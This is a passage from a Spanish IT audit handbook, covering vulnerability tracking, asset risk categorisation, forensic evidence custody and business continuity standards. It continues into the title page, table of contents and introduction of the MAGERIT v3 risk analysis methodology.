personas, por ejemplo: ser vulnerable a la ingeniería social, no capacitar al personal como se debe, colocar contraseñas en lugares visibles, entre otras. Cada vez que se encuentra una de estas vulnerabilidades, debe estudiarse en profundidad lo que supone tener un conocimiento preciso de los siguientes aspectos que anunciamos a continuación: Fabricante: Productos: Gravedad: Versión: Servidor / Cliente / Nro. de Versión. Fechas de publicación: Página 421 de 430

Manual de Auditoria para no Auditores Esta información es de suma importancia tanto: en la primera evaluación de riesgos físicos y lógicos, como en el siguiente ciclo, pues es de sumo interés saber si el fabricante, cuenta con un parche (programa) que suprime o mitiga esta vulnerabilidad, si existe; si se ha aplicado y en consecuencia habrá que estudiar cuales son los beneficios y los costes que supone su aplicación o ignorar la existencia del mismo. Es muy importante tener presente que existen las vulnerabilidades denominadas de día 0. Contra estas últimas, la única política es: una continua monitorización, en los centros de alerta temprana y en el fabricante. Para obtener información acerca de las vulnerabilidades existen webs especializadas donde obtener la información necesaria, por ejemplo: https://www.certsi.es/alerta-temprana/vulnerabilidades.

En esa misma página se referencia otras dos, que también contienen información sobre vulnerabilidades. Es importante consultarlas de forma regular cada vez que vamos a realizar un ciclo de auditoria interna / externa. En el primer ciclo de auditoria, durante la ejecución del análisis de riesgo, una evaluación temprana de las vulnerabilidades técnicas: ya sean de Hardware o de Software o de ambas, no debemos olvidarnos, que algunas no se pueden separar por su naturaleza ejemplo: las actualizaciones de firmware (servidores, pc, impresoras) nos pueden ayudar a realizar un mejor reparto de tiempos entre todas las tareas, no técnicas de la auditoria. Además, nos pueden dar una primera valoración importante, que elementos presentan riesgos críticos, desde el punto de vista técnico/ administrativo / jurídico, no admisibles a criterio de la organización. Como consecuencia de lo anterior, es probable, que las aplicaciones y las infraestructuras de soporte físico y lógico, no estén actualizadas y por tanto no cumplan los requisitos legales vigentes, a nivel local, quizás si en otros países donde no exista una regulación legal especifica al respecto, ya que el procedimiento operativo también estará obsoleto. Por tanto: una inspección / auditoria, de calidad, debe de incluir como unos de primeros objetivos los siguientes: 1º- Identificar los distintos tipos de activos existentes. 2º- Cuantificarlos. Página 422 de 430

Manual de Auditoria para no Auditores 3º- Clasificarlos. 4º - Valorarlos. 5º - Categorizar los riesgos a los que están expuestos. Como se puede deducir, esto no tiene relación con el clásico inventario contable salvo por la valoración económica, que al menos debería contemplar tanto el precio de compra, como el precio vigente, que debería ser 0, y muy importante la fecha de compra para resolver la temática de la IoT, para elementos cuya antigüedad supere los tres años desde la fecha de compra, aunque este criterio se establece tomando como base los principios de la contabilidad fiscal o impositiva, en el país y momento de efectuar la auditoria. Asimismo, habrá que tener en cuenta si estamos hablando de aplicaciones comerciales o estándar que admiten personalización o adecuación, o se trata de una aplicación desarrollada a la medida, por causas que justificaron en su día el desarrollo frente a la compra de software comercial, ello supone que este caso tenemos al menos tres fuentes de vulnerabilidades que serían las siguientes: 1ª) El lenguaje de programación que se ha utilizado para su desarrollo. Aquí la fuente de la vulnerabilidad suele el programador o programadores suele ser la falta de o exceso de experiencia y la falta de supervisión de la totalidad del código, puesto que se pueden crear funciones ocultas activables solo mediante secuencia específicas que crear puertas traseras o activan partes del código que permiten acceder a introducir datos en forma de inyecciones SQL. 2ª) Los repositorios de información que se utilizan entiéndase ficheros convencionales, versus bases de datos (tanto SQL como No-SQL). Es importante cifrar los datos para que no sean accesible mediante herramientas ETL o mediante el uso de herramientas de ingeniería inversa. 3ª) Las reglas de seguridad aportadas por el lenguaje de programación y los repositorios de datos utilizado. Existe una cuarta fuente, pero debido a la segregación de las funciones de seguridad a través de las capas de red y que los elementos de seguridad en red ya no son gestionables desde aplicaciones, vía programación, que no sean en la mayoría de los casos propiedad del fabricante, precisamente para asegurar la segregación de funciones de seguridad y minimizar la interacción de las comunicaciones, con los motores de bases de datos y los repositorios de información, tratando así de evitar las inyecciones SQL para lograr acceder a repositorios que contienen información sensible y garantizando el suministro de múltiples mecanismos de seguridad como lo aportados por las VPNs y las VLANs además de los aportados por Routers-Firewall-IDS/IPS-SEM/SIEM con el fin de garantizar la integridad, disponibilidad y confidencialidad de la información. En resumen, una vez hemos inventariado y clasificado nuestros activos, categorizado desde la óptica del análisis de riesgos, podemos proceder a una re-categorización en función de las vulnerabilidades encontradas tanto Hardware Página 423 de 430

Manual de Auditoria para no Auditores como Software Base y después hay que abrir un capítulo aparte para todo lo relativo a Software de Aplicación tanto como al Software desarrollado a medida. Evaluar entonces que sustituciones y actualizaciones Hardware y Software serían necesarias en las infraestructuras básicas, y después de aplicarlas verificar el comportamiento antes de aplicar las actualizaciones relativas al Software de Aplicación y al Software desarrollado a medida. Aquí debemos tener presente que en algunas ocasiones las actualizaciones tanto de: Hardware como de Software ya sea Software Base como Software de Aplicación Comercial o Desarrollado a medida, se desaconsejan salvo riesgo de incumplimiento legal. Estos casos son mínimos, pero deben estudiarse muy a fondo, dado que sus implicaciones legales, se traducen en costos elevados y largos procesos que pueden suponer perdidas económicas y de reputación, que son muy difíciles de evaluar a priori. Este ciclo del que hemos estado hablando hasta ahora, ocurre una vez cada cinco años, cuando las normas sufren revisiones en profundidad, las revisiones anuales son simples chequeos sobre sí la organización practica una correcta política de monitorización y actualización / mantenimiento respecto a sus componentes tecnológicos y las consecuencias legales, derivadas del uso de los mismos. Otra cuestión es son los procedimientos y la documentación asociada al uso de los componentes tecnológicos, debido a que tanto los componentes Software Base; como el Software Aplicativo, pueden sufrir importantes actualizaciones que están documentadas por el propio fabricante, para que el cliente pueda evaluar cómo le afectan, antes de aplicarlas. En cuanto al Software desarrollado a medida, el problema es que este tipo de Aplicaciones requiere largos ciclos de vida, que muchas veces no tienen la duración necesaria, para lograr una estabilidad que permita documentar en detalle y profundidad los cambios ocurridos a lo largo de todo el ciclo de vida del aplicativo, salvo claro está que se esté utilizando herramientas CASE o de otro tipo de herramientas que incluyan la generación de la documentación, para generar el código núcleo de la aplicación y que las modificaciones no afecten a funciones relacionadas con los accesos y mantenimiento de los datos, afectando sólo a procesos estéticos o de confección de informes mediante herramientas convencionales como generadores de informes y herramientas tipo ETL. Es obvio que, en la Administración de Derechos de Acceso, que se gestionan a través de los Sistemas Operativos de Red y de los Sistemas Operativos Locales, existen otros sistemas de Gestión de Permisos que está gobernado por el Motor de Base de Datos o del Motor de Ficheros de la propia aplicación. Cada vez más se tiende a tener un mismo esquema de Derecho de Acceso, por simplicidad.

Página 424 de 430

Manual de Auditoria para no Auditores Una vez que tenemos realizado el ciclo completo, tanto del software base como del aplicativo y dado que muchos sistemas suelen estar interconectados, con otros propios o ajenos, debemos comprobar que los cambios introducidos no afectan a sistemas con los que hemos de intercambiar información y que, si hemos de hacerlo, los procesos continúan operando como hasta ahora, en cuanto a formatos de fecha, moneda, etc. En algunos casos habrá que añadir modificaciones bien a nivel de parámetros de sistema, bien si utilizamos alguna herramienta o una pequeña aplicación que nos permita adecuar los formatos de entrada y salida entre nuestros sistemas y aquellos con los que necesitamos compartir información. Otra cuestión se plantea es: cuando permitimos, que proveedores de información y servicios utilicen parte de nuestros sistemas y ellos introducen cambios en su software base, que afectan a parte de los datos, como los formatos de fecha y hora. Esos cambios deberían pasar una etapa previa de adecuación para minimizar el número de incidencias, que se pueden generar debido a dichos cambios. Se trata más de un problema de comunicación técnica e interpersonal que de un problema técnico propiamente dicho. Dada la necesidad de contar con entornos seguros, cada vez más empresas utilizan a empresas externas como gestores de seguridad, que son en realidad laboratorios abiertos de seguridad, donde se intercambian continuamente datos de comportamientos sospechosos, gestionado mediante herramientas SEM/SIEM, uno o varios antivirus, varios router-firewall y por últimos varios IDS/IPS por donde la información pasa antes de ser transferida al Cliente. Son servicios que, por una tarifa variable, dependiendo del grado de seguridad que deseemos gestionar, permiten minimizar las inversiones tanto en infraestructura física como lógica y personal especializado, aunque ello supone en una gran medida ceder el control a un tercero. Suele ser práctica habitual también tener contratado con el gestor de seguridad externa, el tema de la copia de seguridad y su recuperación, con la evolución experimentada por la herramientas de Backup/Recovery a las que hay que añadir las herramientas de Virtualización que permiten replicar centros enteros de procesos de datos, sus aplicaciones y procesos asociados, facilitando al cliente final servidores de comunicaciones y terminales que se reconfiguran en un mínimo lapso de tiempo, en caso de desastre, queda garantizando la continuidad operativa del negocio, siempre y cuando hayan recibido toda la documentación funcional, técnica y operativa que permite replicar el centro de datos que haya quedo temporalmente inoperativo. Por tanto, además de profundizar en las vulnerabilidades de Hardware, Software Base y Software Aplicativo necesitamos focalizar en un último esfuerzo en dos puntos que son los que actualmente ocupan el centro de atención de los expertos en seguridad que son las Redes y los Usuarios, el problema es que las Redes son simples intermediarios entre dos puntos, dado que su sistema operativo suele diferir de los denominados sistemas operativos de redes convencionales y por supuesto no existen los sistemas operativos clientes, ya que el Cliente final Página 425 de 430

Manual de Auditoria para no Auditores de un sistema operativo de red es otro sistema operativo de red, que además opera con un modelo de sólo cuatro capas, frente a las siete capas del modelo de referencia OSI de ISO. Desde la quinta a la séptima no existen en un sistema operativo de red, al menos en modo operativo convencional. Esta diferencia es crítica, dado que sólo sistemas intermedios, no pueden ejecutar software, diferente al sistema operativo de red, mientras los sistemas operativos finales, es decir, los servidores de redes locales o clientes tienen sistemas operativos que pueden ejecutar programas, con lo que ello implica. Acceso a los recursos de los sistemas clientes, entiéndase Windows Desktops, Mac Desktops y las múltiples versiones Linux Desktops, todos ellos tienen en común que los ataques que sufren tienen que ver con modificaciones de atributos, o escalado de privilegios, programas escritos expresamente, para borrar o cifrar datos, dejar puertas abiertas cada vez que el sistema se inicia o enciende, capacidad de auto replicación y transferencia a otros ordenadores, cambio en la configuración de la página de inicio del navegador por defecto o establecida por el usuario, etc… Por ello es tan importante mantener actualizado todos los sistemas operativos tanto servidores, como clientes, así como los programas de monitorización del sistema, los antivirus, tener definidas y consolidas las reglas de los routers y de los firewall de red y uso de las reglas de los firewall en el ámbito de los servidores locales (intranets) para analizar tráfico y conexiones internas de la red, utilizando las tecnologías VLAN y VPNs cuando haya de cruzarse tráfico entre puestos locales y remotos, por razones operativas o sea de negocio. Hacer una continua monitorización de seguridad no sólo el tráfico de comunicaciones vinculado con servicios de intercambio de datos, sino también con el tráfico vinculado con impresión y envió / recepción de ficheros vía FTP. Esta monitorización sería deseable que se realizará mediante un tercero, estableciendo unos umbrales, que una vez superados fueran re-enviados, con la debida justificación, tanto en lenguaje técnico / como no técnico al personal responsable del mantenimiento de las intranets, como a las áreas jurídicas y de recursos humanos, por si cabe la aplicación de los diferentes niveles de sanciones administrativas-y-económicas, llegando incluso al despido disciplinario, para lo cual habrá siempre de aportarse pruebas obtenidas mediante los procesos propios de la informática forense. En cuanto a la gestión de los incidentes su clasificación y gravedad son responsabilidad tanto de la parte técnica, como de la parte de administración de personal y por supuesto de la parte jurídica, que debe de velar por no sobrepasar, los limites legalmente establecidos y permitidos que deben estar reflejados en cualquier contrato, tanto sea personal interno, como externo en comisión de servicios (personal de proveedores). Es obvio que los incidentes clasificados como graves, si se tiene la seguridad gestionada mediante un tercero será responsabilidad de este último, guardar

Página 426 de 430

Manual de Auditoria para no Auditores todas las evidencias posibles conforme a las disposiciones legales, incluso antes de que llegue a destino y el incidente se desencadene. Cuando sea la propia empresa quien gestione la seguridad, deberá contar con medidas que permitan aislar el equipo, capturar todas las evidencias volátiles posibles (programas en ejecución durante el incidente, drivers, documentos y aplicaciones abiertas, sesiones de los navegadores, etc…todo aquello susceptible de desaparecer al apagar el equipo) y en una etapa posterior ya aislado de toda conexión de red deberá procederse a obtener una copia espejo del contenido del disco duro partición / carpetas del usuario vigente, en el momento de ocurrir el incidente, así como de los ficheros compartidos entre este puesto y el servidor. Todo el material obtenido debe almacenarse en soporte de una única escritura si es posible o en medios de almacenamiento externo, que puedan situarse fuera de la empresa y fuera del alcance del personal técnico o de los usuarios habituales, se puede utilizar un servicio de custodia si la empresa de seguridad física, si dispusiera del mismo, en caso contrario, una caja de seguridad en un banco, sería una buena opción siempre y cuando el acceso requiera de la concurrencia simultanea de al menos dos personas, siendo una de ellas, personal del área jurídica, por razones obvias. Aunque pueda parecer superfluas estas observaciones, siempre es bueno recordar principios básicos, ya que omiten unas veces de forma voluntarias y otra no. Si se siguen estas indicaciones básicas expuestas hasta aquí, la parte técnica debería estar resuelta, sin mayores problemas siendo una colección de hallazgos que deben ser gestionados y puestos en práctica, subsanado o soslayado los problemas más graves y continuando en orden decreciente hasta los leves, siendo de nuevo re evaluados habiendo establecido responsables de su ejecución y supervisión. Las medidas aplicadas y sus resultados deben quedar registrados y documentados para ser útiles, en posteriores revisiones que puedan generar nuevos problemas o re abrir los existentes previos a la aplicación de las mismas. Otro tema diferente es la documentación relativa a procesos y procedimientos no técnicos y que tienen que ver con la operativa del negocio y su gestión. Deben documentarse la asignación de responsabilidad de gestión, técnicas, económica y otras. Deben estar documentos y asignados los diferentes niveles de responsabilidad así como de interlocución dentro y fuera de la organización, por tanto deben estar actualizados y monitorizados todos los datos de contactos de los responsable de cada proceso vinculado a las acciones que pertenecen a los planes de continuidad del negocio, esto es, la ISO22301 y la ISO22320 esta última está relacionada también con la 18001 OHSAS que en su momento será sustituida por la 45001 que es un sistema integrado por las normas 9001+14001+18001 ya que estos conjuntos de normas, tienen como único objetivo preparar a la organización para hacer frente a contingencias que exceden el ámbito tecnológico y que tienen que ver con el cumplimiento de las normas relacionadas Página 427 de 430

Manual de Auditoria para no Auditores con cumplimientos legales, con respecto a la seguridad física de las personas y del entorno de trabajo. Aunque pueda parecer una obviedad, muchas empresas tienen planes de evacuación y de emergencia, que no se revisan y que no se modifican, aunque las instalaciones sufran modificaciones arquitectónicas, también es frecuente omitir la realización de simulacros, porque muchos responsables alegan que eso es sólo es una pérdida de tiempo, hasta que un día hay que ponerlos en práctica y alguien se lesiona, alguien sufre ahogamiento porque la salida de emergencia está bloqueada, sin ninguna justificación, o sencillamente porque nadie les enseña a los empleados a utilizar un extintor o una BIE (Boca de Extinción de Incendios Equipada) o simplemente no se les explica que abrir una puerta equivocada puede provocar una deflagración o un estallido semejante al de una bomba, empeorando de forma exponencial una situación de por si grave. Insisto no es una obviedad, se da, como se da el falseamiento en los libros de registro de la realización de simulacros, basta con preguntar a cualquier responsable en un plan de evacuación de cualquier edificio cuanto se tarda en evacuar y en recorrer para revisión rápida. Otro aspecto muy importante verificar el correcto funcionamiento tanto de los sistemas de detección de fuego, como de videovigilancia, es importante no sólo hacerlos visibles, sino verificar su correcto funcionamiento y esto es competencia de Seguridad Física y de las empresas de mantenimiento de estos sistemas de misión crítica. Por tanto: sabemos y conocemos que elementos necesitamos controlar para verificar, que hemos realizado una investigación de calidad, sobre aquellos elementos básicos que definen nuestro entorno operativo físico y lógico respecto al negocio. En los siguientes capítulos anexos en realidad, hemos incorporado lecturas que, no siendo elementos básicos, como los expuesto hasta aquí son elementos de consulta interesante o exposiciones muy elaboradas por profesionales muy especializados en determinadas parcelas, no técnicas y más relacionadas con la conducta de los seres humanos frente a los sistemas de información. Mi deseo y mi anhelo al escribir este libro sobre la Auditoria para no Auditores es: lograr que se deje de considerar a cualquier tipo de Auditoria como una caza de brujas moderna, las Auditorias lo que deben lograr es mostrarnos en que podemos mejorar, obligarnos a la redacción y ejecución de proyectos, para lograr esas mejoras, y una vez implantadas volver a comenzar un nuevo ciclo, dado que las tecnologías de la información, están en continua evolución y esta misma evolución por sinergia hace evolucionar la teoría de los negocios y sus aplicaciones e interacciones con el entorno donde se desarrollan, en un ciclo de cambio continuo.

El Autor.

Página 428 de 430

Manual de Auditoria para no Auditores

Página 429 de 430

Manual de Auditoria para no Auditores INDICE DE LOS ANEXOS

METODOLOGIA DE EVALUACIÓN DEL RIESGO MAGERIT V 3. Libro 1 Metodología Análisis del Riesgo. 127 páginas Libro 2 Catálogo de Activos, Criterios de Valoración, Amenazas y Salvaguardias. 75 páginas Libro 3 Técnicas Generales y Especificas. 42 Páginas

METODOLOGIA OWASP

Guía de Prueba Versión 4.0 Español Borrador- Ecuador 313 Páginas.

INCIBE INTECO-DELOITTE.

Guía de implantación de un plan de Continuidad para PYMES. 80 Páginas.

JOSÉ LUIS DE LA CUESTA ARZAMENDI Y ANA ISABEL PÉREZ MACHÍO

Ciberdelicuentes-y-Cibervictimas 22 Páginas.

Página 430 de 430

MAGERIT – versión 3.0 Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información Libro I - Método

TÍTULO: MAGERIT – versión 3.0. Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información. Libro I - Método Elaboración y coordinación de contenidos: Dirección General de Modernización Administrativa, Procedimientos e Impulso de la Administración Electrónica Equipo responsable del proyecto: Director, Miguel Angel Amutio Gómez, Ministerio de Hacienda y Administraciones Públicas Javier Candau, Centro Criptológico Nacional, Ministerio de la Presidencia Consultor externo: José Antonio Mañas, Catedrático de la Universidad Politécnica de Madrid Características: Adobe Acrobat 5.0 Responsable edición digital: Subdirección General de Información, Documentación y Publicaciones (Jesús González Barroso) Madrid, octubre de 2012 Disponible esta publicación en el Portal de Administración Electrónica (PAe): http://administracionelectronica.gob.es/ Edita: © Ministerio de Hacienda y Administraciones Públicas Secretaría General Técnica Subdirección General de Información, Documentación y Publicaciones Centro de Publicaciones Colección: administración electrónica NIPO: 630-12-171-8

Magerit 3.0

Índice 1. Introducción ...................................................................................................................6  1.1 Buen gobierno .........................................................................................................................6  1.2. Confianza ...............................................................................................................................6  1.3. Gestión ...................................................................................................................................7  1.4. Magerit ...................................................................................................................................7  1.5. Introducción al análisis y gestión de riesgos ..........................................................................8  1.6. El análisis y el tratamiento de los riesgos en su contexto ....................................................10  1.6.1. Concienciación y formación..........................................................................................11  1.6.2. Incidencias y recuperación ...........................................................................................11  1.7. Organización de las guías....................................................................................................12  1.7.1. Modo de empleo ...........................................................................................................12  1.7.2. El catálogo de elementos .............................................................................................13  1.7.3. La guía de técnicas.......................................................................................................14  1.8. Evaluación, certificación, auditoría y acreditación................................................................14  1.9. ¿Cuándo procede analizar y gestionar los riesgos? ............................................................16  2. Visión de conjunto.......................................................................................................19  3. Método de análisis de riesgos....................................................................................22  3.1. Conceptos paso a paso........................................................................................................22  3.1.1. Paso 1: Activos .............................................................................................................22  3.1.2. Paso 2: Amenazas........................................................................................................27  3.1.3. Determinación del impacto potencial............................................................................28  3.1.4. Determinación del riesgo potencial...............................................................................29  3.1.5. Paso 3: Salvaguardas...................................................................................................31  3.1.6. Paso 4: impacto residual ..............................................................................................35  3.1.7. Paso 5: riesgo residual .................................................................................................35  3.2. Formalización de las actividades .........................................................................................35  3.2.1. Tarea MAR.1: Caracterización de los activos...............................................................37  3.2.2. Tarea MAR.2: Caracterización de las amenazas .........................................................40  3.2.3. Tarea MAR.3: Caracterización de las salvaguardas ....................................................42  3.2.4. Tarea MAR.4: Estimación del estado de riesgo ...........................................................44  3.3. Documentación ....................................................................................................................45  3.4. Lista de control .....................................................................................................................46  4. Proceso de gestión de riesgos...................................................................................47  4.1. Conceptos ............................................................................................................................48  4.1.1. Evaluación: interpretación de los valores de impacto y riesgo residuales....................48  4.1.2. Aceptación del riesgo ...................................................................................................49  4.1.3. Tratamiento...................................................................................................................49  4.1.4. Estudio cuantitativo de costes / beneficios ...................................................................50  4.1.5. Estudio cualitativo de costes / beneficios .....................................................................53  4.1.6. Estudio mixto de costes / beneficios.............................................................................53  4.1.7. Opciones de tratamiento del riesgo: eliminación ..........................................................53  4.1.8. Opciones de tratamiento del riesgo: mitigación............................................................53  4.1.9. Opciones de tratamiento del riesgo: compartición........................................................54  4.1.10. Opciones de tratamiento del riesgo: financiación .......................................................54  4.2. Formalización de las actividades .........................................................................................54  4.2.1. Roles y funciones .........................................................................................................55  4.2.2. Contexto .......................................................................................................................57  4.2.3. Criterios ........................................................................................................................57  4.2.4. Evaluación de los riesgos .............................................................................................58  4.2.5. Decisión de tratamiento ................................................................................................58  4.2.6. Comunicación y consulta..............................................................................................59  4.2.7. Seguimiento y revisión..................................................................................................59  4.3. Documentación del proceso.................................................................................................60  4.4. Indicadores de control del proceso de gestión de riesgos ...................................................60  © Ministerio de Hacienda y Administraciones Públicas

página 3 (de 127)

Magerit 3.0

5. Proyectos de análisis de riesgos ...............................................................................62  5.1. Roles y funciones .................................................................................................................62  5.2. PAR.1 – Actividades preliminares ........................................................................................64  5.2.1. Tarea PAR.11: Estudio de oportunidad ........................................................................64  5.2.2. Tarea PAR.12: Determinación del alcance del proyecto ..............................................66  5.2.3. Tarea PAR.13: Planificación del proyecto ....................................................................69  5.2.4. Tarea PAR.14: Lanzamiento del proyecto....................................................................69  5.3. PAR.2 – Elaboración del análisis de riesgos........................................................................70  5.4. PAR.3 – Comunicación de resultados..................................................................................71  5.5. Control del proyecto .............................................................................................................71  5.5.1. Hitos de control.............................................................................................................71  5.5.2. Documentación resultante ............................................................................................71  6. Plan de seguridad ........................................................................................................73  6.1. Tarea PS.1: Identificación de proyectos de seguridad.........................................................73  6.2. Tarea PS.2: Planificación de los proyectos de seguridad ....................................................75  6.3. Tarea PS.3: Ejecución del plan ............................................................................................76  6.4. Lista de control de los planes de seguridad .........................................................................76  7. Desarrollo de sistemas de información .....................................................................77  7.1. Inicialización de los procesos...............................................................................................77  7.2. SSI – Seguridad del sistema de información .......................................................................78  7.2.1. Ciclo de vida de las aplicaciones..................................................................................79  7.2.2. Contexto .......................................................................................................................80  7.2.3. Fase de especificación: adquisición de datos ..............................................................80  7.2.4. Fase de diseño: estudio de opciones ...........................................................................81  7.2.5. Soporte al desarrollo: puntos críticos ...........................................................................81  7.2.6. Aceptación y puesta en marcha: puntos críticos ..........................................................82  7.2.7. Operación: análisis y gestión dinámicos.......................................................................83  7.2.8. Ciclos de mantenimiento: análisis marginal..................................................................83  7.2.9 Terminación ...................................................................................................................83  7.2.10 Documentación de seguridad ......................................................................................84  7.3. SPD – Seguridad del proceso de desarrollo ........................................................................84  7.4. Referencias ..........................................................................................................................85  8. Consejos prácticos......................................................................................................86  8.1. Alcance y profundidad..........................................................................................................86  8.2. Para identificar activos .........................................................................................................87  8.3. Para descubrir y modelar las dependencias entre activos...................................................88  8.4. Para valorar activos..............................................................................................................91  8.5. Para identificar amenazas....................................................................................................93  8.6. Para valorar amenazas ........................................................................................................93  8.7. Para seleccionar salvaguardas ............................................................................................94  8.8. Aproximaciones sucesivas ...................................................................................................94  8.8.1. Protección básica .........................................................................................................95  Apéndice 1. Glosario .......................................................................................................97  A1.1. Términos en español .........................................................................................................97  A1.2. Términos anglosajones....................................................................................................106  A1.3. ISO – Gestión del riesgo..................................................................................................107  Apéndice 2. Referencias ...............................................................................................108  Apéndice 3. Marco legal ................................................................................................112  A3.1. Seguridad en el ámbito de la Administración electrónica ................................................112  A3.2. Protección de datos de carácter personal .......................................................................112  A3.3. Firma electrónica .............................................................................................................112  A3.4. Información clasificada ....................................................................................................112  A3.5. Seguridad de las redes y de la información.....................................................................113  Apéndice 4. Marco de evaluación y certificación .......................................................114  A4.1. Sistemas de gestión de la seguridad de la información (SGSI).......................................114  © Ministerio de Hacienda y Administraciones Públicas

página 4 (de 127)

Magerit 3.0 A4.1.1. La certificación .........................................................................................................115  A4.1.2. La acreditación de la entidad certificadora...............................................................116  A4.1.3. Terminología ............................................................................................................116  A4.2. Criterios comunes de evaluación (CC) ............................................................................117  A4.2.1. Beneficiarios.............................................................................................................119  A4.2.2. Requisitos de seguridad...........................................................................................119  A4.2.3. Creación de perfiles de protección...........................................................................120  A4.2.4. Uso de productos certificados ..................................................................................121  A4.2.5. Terminología ............................................................................................................122 

Apéndice 5. Herramientas.............................................................................................124  A5.1. PILAR...............................................................................................................................125  Apéndice 6. Evolución de Magerit................................................................................126  A6.1. Para los que han trabajado con Magerit v1 .....................................................................126  A6.2. Para los que han trabajado con Magerit v2 .....................................................................127 

© Ministerio de Hacienda y Administraciones Públicas

página 5 (de 127)

Magerit 3.0

Introducción

1. Introducción El CSAE 1 ha elaborado y promueve Magerit 2 como respuesta a la percepción de que la Administración Pública (y en general toda la sociedad) depende de forma creciente de los sistemas de información para alcanzar sus objetivos. El uso de tecnologías de la información y comunicaciones (TIC) supone unos beneficios evidentes para los ciudadanos; pero también da lugar a ciertos riesgos que deben gestionarse prudentemente con medidas de seguridad que sustenten la confianza de los usuarios de los servicios.

1.1 Buen gobierno La gestión de los riesgos es una piedra angular en las guías de buen gobierno [ISO 38500], público o privado, donde se considera un principio fundamental que las decisiones de gobierno se fundamenten en el conocimiento de los riesgos que implican: 1.6.12 Propuesta Recopilación de los beneficios, costos, riesgos, oportunidades, y otros factores que deben tenerse en cuenta en las decisiones que se tomen. 3 cubriendo riesgos en general y riesgos TIC en particular: Esta norma establece los principios para el uso eficaz, eficiente y aceptable de las tecnologías de la información. Garantizando que sus organizaciones siguen estos principios ayudará a los directores a equilibrar riesgos y oportunidades derivados del uso de las TI. 4 Se insiste recurrentemente en el necesario equilibrio entre riesgos y oportunidades para tomar las mejores decisiones. En pocas palabras, la gestión de los riesgos es nuclear al gobierno de las organizaciones. En particular, los riesgos que tienen su origen en el uso de tecnologías de la información deben trasladarse a los órganos de gobierno y contextualizarse en la misión de la organización. El conocimiento de los riesgos permite calibrar la confianza en que los sistemas desempeñarán su función como la Dirección espera, habilitando un marco equilibrado de Gobierno, Gestión de Riesgos y Cumplimiento (GRC), tres áreas que deben estar integradas y alineadas para evitar conflictos, duplicación de actividades y zonas de nadie. Los órganos de gobierno no deben tratar solamente riesgos TIC. Es más, no deben tratar los riesgos TIC por separado de los demás riesgos. Aunque Magerit se especializa en riesgos TIC, debemos ser muy conscientes de que es esencial transmitir a los órganos de gobiernos las oportunidades y los riesgos que conllevan las tecnologías de la información para que se puedan incluir en un marco global y tomar las mejores decisiones para la Organización.

1.2. Confianza La confianza es la esperanza firme que se tiene de que algo responderá a lo previsto. La confianza es un valor crítico en cualquier organización que preste servicios. Las administraciones públicas son especialmente sensibles a esta valoración. Por una parte dependemos fuertemente de los sistemas de información para cumplir nuestros objetivos; pero por otra parte, no deja de ser un tema recurrente la inquietud por su seguridad. Los afectados, que frecuentemente no son técnicos, se preguntan si estos sistemas merecen su confianza, confianza que se ve mermada por cada fallo y, sobre todo, cuando la inversión no se tra1 2 3 4

CSAE: Consejo Superior de Administración Electrónica. MAGERIT: Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información 1.6.12 Proposal. Compilation of benefits, costs, risks, opportunities, and other factors applicable to decisions to be made. Includes business cases This standard establishes principles for the effective, efficient and acceptable use of IT. Ensuring that their organisations follow these principles will assist directors in balancing risks and encouraging opportunities arising from the use of IT.

© Ministerio de Hacienda y Administraciones Públicas

página 6 (de 127)

Magerit 3.0

Introducción

duce en la ausencia de fallos. Lo ideal es que los sistemas no fallen. Pero lo cierto que se acepta convivir con sistemas que fallan. El asunto no es tanto la ausencia de incidentes como la confianza en que están bajo control: se sabe qué puede pasar y se sabe qué hacer cuando pasa. El temor a lo desconocido es el principal origen de la desconfianza y, en consecuencia, aquí se busca conocer para confiar: conocer los riesgos para poder afrontarlos y controlarlos.

1.3. Gestión Conocer el riesgo al que están sometidos los elementos de trabajo es, simplemente, imprescindible para poder gestionarlos. En el periodo transcurrido desde la publicación de la primera versión de Magerit (1997) hasta la fecha, el análisis de riesgos se ha venido consolidando como paso necesario para la gestión de la seguridad. Así se recoge claramente en las Directrices de la OCDE [OCDE] que, en su principio 6 dicen: 6) Evaluación del riesgo. Los participantes deben llevar a cabo evaluaciones de riesgo. En el Esquema Nacional de Seguridad [RD 3/2010], el Capítulo II Principios Básicos, dice Artículo 6. Gestión de la seguridad basada en los riesgos. 1. El análisis y gestión de riesgos será parte esencial del proceso de seguridad y deberá mantenerse permanentemente actualizado. 2. La gestión de riesgos permitirá el mantenimiento de un entorno controlado, minimizando los riesgos hasta niveles aceptables. La reducción de estos niveles se realizará mediante el despliegue de medidas de seguridad, que establecerá un equilibrio entre la naturaleza de los datos y los tratamientos, los riesgos a los que estén expuestos y las medidas de seguridad.

1.4. Magerit Siguiendo la terminología de la normativa ISO 31000, Magerit responde a lo que se denomina “Proceso de Gestión de los Riesgos”, sección 4.4 (“Implementación de la Gestión de los Riesgos”) dentro del “Marco de Gestión de Riesgos”. En otras palabras, MAGERIT implementa el Proceso de Gestión de Riesgos dentro de un marco de trabajo para que los órganos de gobierno tomen decisiones teniendo en cuenta los riesgos derivados del uso de tecnologías de la información.

Ilustración 1. ISO 31000 - Marco de trabajo para la gestión de riesgos

© Ministerio de Hacienda y Administraciones Públicas

página 7 (de 127)

Magerit 3.0

Introducción

Hay varias aproximaciones al problema de analizar los riesgos soportados por los sistemas TIC: guías informales, aproximaciones metódicas y herramientas de soporte. Todas buscan objetivar el análisis de riesgos para saber cuán seguros (o inseguros) son los sistemas y no llamarse a engaño. El gran reto de todas estas aproximaciones es la complejidad del problema al que se enfrentan; complejidad en el sentido de que hay muchos elementos que considerar y que, si no se es riguroso, las conclusiones serán de poco fiar. Es por ello que en Magerit se persigue una aproximación metódica que no deje lugar a la improvisación, ni dependa de la arbitrariedad del analista. Magerit persigue los siguientes objetivos: Directos: 1. concienciar a los responsables de las organizaciones de información de la existencia de riesgos y de la necesidad de gestionarlos 2. ofrecer un método sistemático para analizar los riesgos derivados del uso de tecnologías de la información y comunicaciones (TIC) 3. ayudar a descubrir y planificar el tratamiento oportuno para mantener los riesgos bajo control Indirectos: 4. preparar a la Organización para procesos de evaluación, auditoría, certificación o acreditación, según corresponda en cada caso También se ha buscado la uniformidad de los informes que recogen los hallazgos y las conclusiones de las actividades de análisis y gestión de riesgos: Modelo de valor Caracterización del valor que representan los activos para la Organización así como de las dependencias entre los diferentes activos. Mapa de riesgos Relación de las amenazas a que están expuestos los activos. Declaración de aplicabilidad Para un conjunto de salvaguardas, se indica sin son de aplicación en el sistema de información bajo estudio o si, por el contrario, carecen de sentido. Evaluación de salvaguardas Evaluación de la eficacia 